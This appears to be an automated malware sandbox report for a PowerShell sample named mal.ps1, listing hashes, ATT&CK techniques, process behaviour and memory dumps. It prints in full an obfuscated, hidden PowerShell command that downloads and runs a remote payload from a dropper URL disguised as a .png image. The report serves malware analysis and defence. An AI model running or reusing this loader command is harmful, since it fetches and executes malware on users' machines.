572175d8c355a0e9e993eb3855fbb8b8aaac38ebb57eb14eb4757d52ec4605a7

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-01-2025 09:46

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General

Target

mal.ps1
Size

477B
MD5

106e8b1d646ba58948fa57cd919784b5
SHA1

3c85495907a81aef34897e341703d2f7ad92a15b
SHA256

572175d8c355a0e9e993eb3855fbb8b8aaac38ebb57eb14eb4757d52ec4605a7
SHA512

a203b40d0b577f8e113c449520da60ad194e031be591132c6cbce38a7afa21fe4f6ea6cd88e27d4bdc42ec12acbb5861175be62a3b721968906f754a44d038ac

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://n.kliphirofey.shop/43cee3481683f8897547367aa517dd31.png

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2416	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2488	powershell.exe
2416	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2488	powershell.exe
2488	powershell.exe
2488	powershell.exe
2416	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2488	powershell.exe
Token: SeDebugPrivilege	2416	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 2416	2488	powershell.exe	31
PID 2488 wrote to memory of 2416	2488	powershell.exe	31
PID 2488 wrote to memory of 2416	2488	powershell.exe	31
PID 2488 wrote to memory of 2416	2488	powershell.exe	31

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\mal.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command 'Z8'|ForEach-Object{Set-Item Variable:/Z8 ([PowerShell]::Create())}{$Null=(Item Variable:Z8).Value.(($Z8|Get-Member)[5].Name).Invoke(((New-Object Net.WebClient).DownloadString('https://n.kliphirofey.shop/43cee3481683f8897547367aa517dd31.png')))}{(Item Variable:Z8).Value.Invoke()}{(Item Variable:Z8).Value.Dispose()}
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7AVOADWMFTUO003R536U.temp

Filesize
7KB

MD5
d1632232f428023d5c926618b41928e9

SHA1
c177cb380f3fa383b4e80d77c1e0cd9c01192cc5

SHA256
4e7a712dc81d0a212ad4de3eae933bbdaa115e08f61b6b783f0f1a6385eae740

SHA512
e1c62b62bd1a3951c9c189b57ff5c83dc601c847fac2e62db81eaeb402d69db35590c6d954775f598650fd07105c595e909f5f99f887453c3007fc43a66987b5

Download Submit
memory/2488-4-0x000007FEF5E6E000-0x000007FEF5E6F000-memory.dmp

Filesize
4KB

Download
memory/2488-5-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2488-8-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2488-7-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2488-6-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2488-9-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2488-10-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2488-11-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2488-12-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download